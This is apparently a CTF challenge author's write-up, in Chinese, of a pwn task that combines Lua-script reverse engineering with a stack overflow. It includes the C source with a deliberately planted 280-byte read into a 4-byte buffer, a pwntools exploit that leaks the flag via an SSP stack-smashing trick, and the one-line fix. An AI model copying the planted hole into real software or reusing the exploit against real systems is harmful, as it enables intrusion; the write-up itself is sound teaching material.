前言
前段时间打了国赛,出了道bulid的pwn题,用到了几个杂而有趣的知识点,玩起来不太常规,做起来甚至可以说是有点难受,在此记录一下。
文末也有链接
出题思路
最近学了学安卓,想到了一个之前分析过的mobile案例,一个apk通过调用lua实现函数的重写(就是之前血洗高校的一个apk),觉得很好玩,决定应用到题目里边。
文件结构:一个二进制文件,一个加密过的Lua文件,一个flag文件。
程序流程:
- 二进制程序部署在特定端口,使用nc访问
- 程序起来后会加载加密过的lua文件到内存,之后程序在内存中解密lua程序,在程序中输入字符,将字符交给lua进行处理,必须满足某种关系程序才能向下进行。
- 完成绕过后选择了缓冲区溢出,文件没关canary,用ssp leak可以直接把flag读出来。整体看下来就是一个披着pwn题外衣的C加lua程序逆向题。
- 因为用到了好多C语言lua库函数的好多函数,用ida分析程序会发现非常恶心,得仔细扣,之前没接触过这种的还得现学。
题目源码
写的时候现学现卖,请师傅们指教
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <lua5.1/lua.h>
#include <lua5.1/lualib.h>
#include <lua5.1/lauxlib.h>
char flag[0x20];
char* c;
uint8_t *enc(uint8_t *data, int size) {//加密函数,和解密函数完全一致
uint8_t *temp = (uint8_t *)malloc(size);
int k[3]={2,3,5};
int i;
if (size) {
for (i = 0; i < size; i++) {
temp[i] = data[i]^k[i%3];
}
return temp;
}
}
int main()
{
setvbuf(stdout,0,2,0);
FILE *f = fopen("main.lua", "rb");//读入同目录加密过的lua文件
if (f == NULL)
return -1;
fseek(f, 0, SEEK_END);
long file_size = ftell(f);
uint8_t *buf = (uint8_t *)malloc(file_size);
rewind(f);
fread(buf, sizeof(char), file_size, f);
uint8_t *rea = enc(buf,file_size);
lua_State *luaEnv = lua_open();//创建一个新的lua_State
luaopen_base(luaEnv);
luaL_openlibs(luaEnv);
if(!luaEnv)
{
return -1;
}
int loadInfo = luaL_loadstring(luaEnv,rea);//以字符串形式把解密过的lua语句load进去
if(loadInfo)
{
return -1;
}
int i,j,a,k=3;
puts("Hello I'm lua.\nLet's experience something different");
while(k){
puts("Enter two numbers in your heart;)");
scanf("%d",&i);
scanf("%d",&j);
lua_pcall(luaEnv,0,0,0);
lua_getglobal(luaEnv,"hndl");//找这个名字的函数
lua_pushnumber(luaEnv,i);//以堆栈形式传参
lua_pushnumber(luaEnv,j);
puts("mamimami hon~~~~");
lua_pcall(luaEnv,2,1,0);//完成调用,之后的参数分别是参数个数、返回值个数和错误处理函数(0表示无)
a=lua_tonumber(luaEnv,-1);//同样以堆栈方式取值
puts("who am I?");
sleep(1);
printf("%d!!\n",a);
if(a==random())//和伪加密数进行比较
k--;//重复次数
else
{ puts("Your ideas are different from Lua's :( sry");
exit(0);
}
}
char b[4];
FILE *fp;
fp = fopen("flag","r");
fread(flag,1,0x20,fp);
puts("All right,the magic failed");
read(0,b,280);
return 0;
}
//gcc -o Lua_magic te.c -llua5.1
看下lua加密前的源码
function BitXOR(a,b)
local p,c=1,0
while a>0 and b>0 do
local ra,rb=a%2,b%2
if ra~=rb then c=c+p end
a,b,p=(a-ra)/2,(b-rb)/2,p*2
end
if a<b then a=b end
while a>0 do
local ra=a%2
if ra>0 then c=c+p end
a,p=(a-ra)/2,p*2
end
return c
end
function hndl(i,j)
j = BitXOR(5977654,j)
return BitXOR(i,j)
end
由于lua5.1不支持位运算,有必要写个异或运算函数到lua文件里边。我没改BitXOR名字,直接用了师傅的轮子。同时作为白嫖党吃人嘴短,做异或处理的时候用的5977654和stackoverflow的轮子qustionid对应
解题思路
选手拿题后应该是一个Lua_magic和经过处理enc过的main.lua,lua文件长这样
用ida简单看下Lua_magic
其实还好,用到的都分析出来了,之后就是动态调试程序,把内存中解密完的lua程序dump出来(enc执行完后下断)
然后一起结合dump出来的lua程序和ida一起分析就好了。
随机数的生成自己写个C脚本:
算起来的话就反着来就行,和1异或完和5977654异或就好了
最后进入最后一步
读入0x118字节,完全够了,全暴力填flag的bss地址就好,exp如下
from pwn import *
#ip=sys.argv[1]
#port=sys.argv[2]
context.log_level = 'debug'
p=process('./Lua_magic')
#p = remote(ip, port)
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("1808823120")
sleep(1)
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("840963569")
sleep(1)
p.recvuntil("Enter two numbers in your heart;)\n")
p.sendline("1")
p.sendline("1684516446")
sleep(1)
p.send(p64(0x602140)*35)
#p.interactive()
修复 & 总结
因为b就4个字节,patch成read(0,b,4);
即可完成修复。
这题流程比较长,在划分题目难度的时候觉得难点和亮点都在lua那块,就归到了中等难度。在好几个地方都能上一个难度系数,如加解密lua语句函数enc、lua脚本处理输入逻辑、read进去b后再搞个lua语句处理等,但想了想还是算了,觉得点到为止wei最佳,本身出这种题还是考验知识积累和快速学习,感觉再难点就偏了。
刚出完我觉得还是很有趣的,自己做完感觉几个考察的点还是有点僵硬,出题真的是门艺术。